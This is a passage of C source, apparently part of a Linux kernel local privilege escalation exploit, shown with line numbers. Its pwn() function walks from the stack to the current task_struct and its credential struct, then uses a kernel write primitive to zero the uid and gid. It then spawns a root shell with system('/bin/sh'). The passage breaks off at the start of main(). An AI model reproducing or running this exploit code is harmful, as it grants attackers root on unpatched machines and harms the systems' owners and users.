| 240 | } |
| 241 | |
| 242 | static void pwn(void) { |
| 243 | uint64_t fp, sp, task_struct, credptr, uidptr; |
| 244 | |
| 245 | fp = __get_fp(); |
| 246 | if (fp < PHYS_OFFSET) |
| 247 | __exit("bogus fp"); |
| 248 | |
| 249 | sp = get_sp(fp); |
| 250 | if (sp < PHYS_OFFSET) |
| 251 | __exit("bogus sp"); |
| 252 | |
| 253 | task_struct = __read(sp); |
| 254 | |
| 255 | if (task_struct < PHYS_OFFSET) |
| 256 | __exit("bogus task ptr"); |
| 257 | |
| 258 | printf("task_struct = %lx\n", task_struct); |
| 259 | |
| 260 | credptr = __read(task_struct + CRED_OFFSET); // cred |
| 261 | |
| 262 | if (credptr < PHYS_OFFSET) |
| 263 | __exit("bogus cred ptr"); |
| 264 | |
| 265 | uidptr = credptr + UID_OFFSET; // uid |
| 266 | if (uidptr < PHYS_OFFSET) |
| 267 | __exit("bogus uid ptr"); |
| 268 | |
| 269 | printf("uidptr = %lx\n", uidptr); |
| 270 | __write(uidptr, 0); // set both uid and gid to 0 |
| 271 | |
| 272 | if (getuid() == 0) { |
| 273 | printf("spawning root shell\n"); |
| 274 | system("id"); |
| 275 | system("/bin/sh"); |
| 276 | exit(0); |
| 277 | } |
| 278 | |
| 279 | __exit("not vulnerable?"); |
| 280 | } |
| 281 | |
| 282 | int main(int argc, char **argv) { |
| 283 | prep(); |